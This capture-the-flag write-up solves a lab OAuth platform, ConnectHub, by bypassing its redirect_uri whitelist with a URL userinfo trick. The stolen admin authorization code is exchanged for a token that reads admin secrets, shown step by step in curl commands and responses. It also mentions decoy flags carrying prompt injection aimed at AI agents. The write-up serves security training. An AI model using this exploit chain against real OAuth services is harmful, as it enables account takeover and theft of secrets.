Lab 173 — ConnectHub — OAuth Open Redirect via URL Userinfo Bypass
Lab 173 — ConnectHub — OAuth Open Redirect via URL Userinfo Bypass
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: admin_bot_exploitation, oauth_authorization_code_interception, oauth_token_exchange_with_stolen_code, privilege_escalation_via_oauth_token, url_userinfo_component_bypass, webhook_catch_exfiltration
Summary
Task: OAuth 2.0 integration platform (Express/Node.js) with redirect_uri domain whitelist validation vulnerable to URL userinfo component confusion. Solution: craft redirect_uri with whitelisted domain as userinfo (user@host trick) to bypass validation, redirect admin bot's authorization code to webhook catch endpoint, exchange stolen code for admin token, access /api/admin/secrets.
Lab 173 — ConnectHub — OAuth Open Redirect via URL Userinfo Bypass — HackAdvisor
Description
ConnectHub is a modern integration management platform built by BrightLink Technologies. It enables teams to connect their tools through OAuth-based integrations, webhook management, and a comprehensive developer API. You have been given a standard user account on the platform. The application includes an OAuth 2.0 authorization server, webhook catch endpoints for debugging, and administrative API endpoints for privileged operations. Your objective is to escalate your privileges and access administrator-only API endpoints containing sensitive platform secrets. Examine the authentication and authorization flows carefully — the way URLs are parsed may not always match what you expect.
English summary: An Express.js/Node.js OAuth 2.0 platform behind nginx/1.25.5. Users can register OAuth apps, manage webhooks, and use a developer API. The goal is to exploit a flaw in redirect_uri validation to steal an admin's OAuth authorization code and escalate to admin privileges, accessing /api/admin/secrets for the flag.
Credentials: user@test.com / password123
Analysis
Reconnaissance
After logging in with provided credentials, the platform exposes several features:
- Dashboard — Overview of connected integrations
- OAuth Apps (
/apps) — Register and manage OAuth applications - Webhooks — Manage webhook endpoints, including a personal "catch" endpoint for debugging
- Settings — Account settings, reveals personal webhook catch endpoint UUID
- API Docs — Comprehensive documentation of all API endpoints
Important: HTML source contains decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection attempts targeting AI agents — these are fake honeypots.
Key Endpoints Discovered
| Endpoint | Method | Purpose |
|---|---|---|
/oauth/authorize | GET | OAuth authorization — validates redirect_uri against domain whitelist |
/oauth/authorize | POST | Approve/deny authorization (form with action=approve) |
/oauth/token | POST | Exchange authorization code for access token (JSON body) |
/hooks/catch/:hookId | ANY | Webhook catch — captures incoming requests (URL, query, headers, body) |
/apps | POST | Register new OAuth application |
/apps/:id/request-admin | POST | Submit OAuth authorize URL for admin bot to visit |
/api/admin/secrets | GET | Admin-only endpoint — requires admin-scoped OAuth Bearer token |
| |
API Documentation Reveals
From the API Docs page:
- Redirect URI Validation: Domain whitelist — only
connecthub.localand*.connecthub.localare allowed - Token Exchange: Requires
grant_type,code,client_id,client_secretin JSON body - Admin Secrets: Requires a Bearer token with admin scope
Identifying the Vulnerability
The OAuth /oauth/authorize endpoint validates the redirect_uri parameter against a domain whitelist (connecthub.local and *.connecthub.local). However, the server's URL parser is vulnerable to a URL userinfo component confusion (RFC 3986).
In a URL like:
http://connecthub.local@localhost:8080/path
The part before @ (connecthub.local) is the userinfo component per RFC 3986, and the actual hostname is localhost:8080. However, the server's validation logic incorrectly extracts connecthub.local as the hostname, passing the whitelist check. When the redirect actually happens, the HTTP client follows the redirect to localhost:8080 — the real host.
Validation testing confirmed the bypass:
bash read-only • copy allowed# Valid domain — accepted (200 OK) redirect_uri=https://app.connecthub.local/callback # Invalid domain — rejected (400 Bad Request) redirect_uri=https://evil.com/callback # Userinfo bypass — accepted! (200 OK) redirect_uri=http://connecthub.local@localhost:8080/hooks/catch/...
The server sees connecthub.local as the hostname and allows it, but the actual redirect goes to localhost:8080 — which is the application itself, specifically our webhook catch endpoint.
Solution
Step 1: Register an OAuth Application
Created a new OAuth app at /apps:
bash read-only • copy allowedcurl -X POST "$BASE/apps" \ -b cookies.txt \ -H "Content-Type: application/json" \ -d '{"name":"TestApp","redirect_uri":"https://app.connecthub.local/callback"}'
Received credentials:
client_id:cnh_36bf2b08bda47cd5672f87b5client_secret:cns_1d36b9757958005d834c391e8e77218d17081aedb2a2d08e
Step 2: Identify Webhook Catch Endpoint
From the Settings page, found the personal webhook catch endpoint:
/hooks/catch/5863f1f4-ec6c-46cd-9705-f9030bdfed2c
This endpoint captures any incoming request and logs its URL, query parameters, headers, and body — perfect for exfiltrating the authorization code.
Step 3: Craft Malicious OAuth Authorization URL
Constructed the OAuth authorize URL with the userinfo bypass in redirect_uri, pointing the redirect to our webhook catch endpoint:
/oauth/authorize?client_id=cnh_36bf2b08bda47cd5672f87b5&redirect_uri=http://connecthub.local@localhost:8080/hooks/catch/5863f1f4-ec6c-46cd-9705-f9030bdfed2c&response_type=code
The server validates connecthub.local as the hostname (passes whitelist), but the actual redirect target is localhost:8080/hooks/catch/... (our webhook).
Step 4: Submit URL to Admin Bot
Submitted the crafted URL to the admin bot, which visits the OAuth authorize page and auto-approves:
bash read-only • copy allowedcurl -X POST "$BASE/apps/4/request-admin" \ -b cookies.txt \ -H "Content-Type: application/json" \ -d '{"authorize_url":"http://connecthub.local@localhost:8080/oauth/authorize?client_id=cnh_36bf2b08bda47cd5672f87b5&redirect_uri=http://connecthub.local@localhost:8080/hooks/catch/5863f1f4-ec6c-46cd-9705-f9030bdfed2c&response_type=code"}'
Step 5: Capture Admin's Authorization Code
Checked the webhook catch logs and found the admin's redirected request with the authorization code in the query string:
?code=9b7c990e09ceab42d32b32bbd1b98dfe97e58ce5
Step 6: Exchange Code for Admin Access Token
Exchanged the stolen authorization code for an admin-scoped access token:
bash read-only • copy allowedcurl -X POST "$BASE/oauth/token" \ -H "Content-Type: application/json" \ -d '{ "grant_type": "authorization_code", "code": "9b7c990e09ceab42d32b32bbd1b98dfe97e58ce5", "client_id": "cnh_36bf2b08bda47cd5672f87b5", "client_secret": "cns_1d36b9757958005d834c391e8e77218d17081aedb2a2d08e", "redirect_uri": "http://connecthub.local@localhost:8080/hooks/catch/5863f1f4-ec6c-46cd-9705-f9030bdfed2c" }'
Response:
json read-only • copy allowed{ "access_token": "cht_4d128a98f391ce43498a18b02be7cee4ea0c11574b2b08c491099bf86635c331", "token_type": "Bearer", "scope": "read", "created_at": 1778228132 }
Step 7: Access Admin Secrets
Used the admin's Bearer token to access the privileged endpoint:
bash read-only • copy allowedcurl "$BASE/api/admin/secrets" \ -H "Authorization: Bearer cht_4d128a98f391ce43498a18b02be7cee4ea0c11574b2b08c491099bf86635c331"
Response:
json read-only • copy allowed{ "status": "success", "data": { "platform_secrets": { "master_api_key": "FLAG{REDACTED}", "internal_service_token": "cnh_svc_79f1996b3afbc5c839fb377057ef1a38", "encryption_key": "ZZHSvpjZg+AkOUEh/uQ6DQLtX0vPSEgWLTE+fRXbiBw=" }, "admin_notes": "ConnectHub internal configuration - authorized access only" } }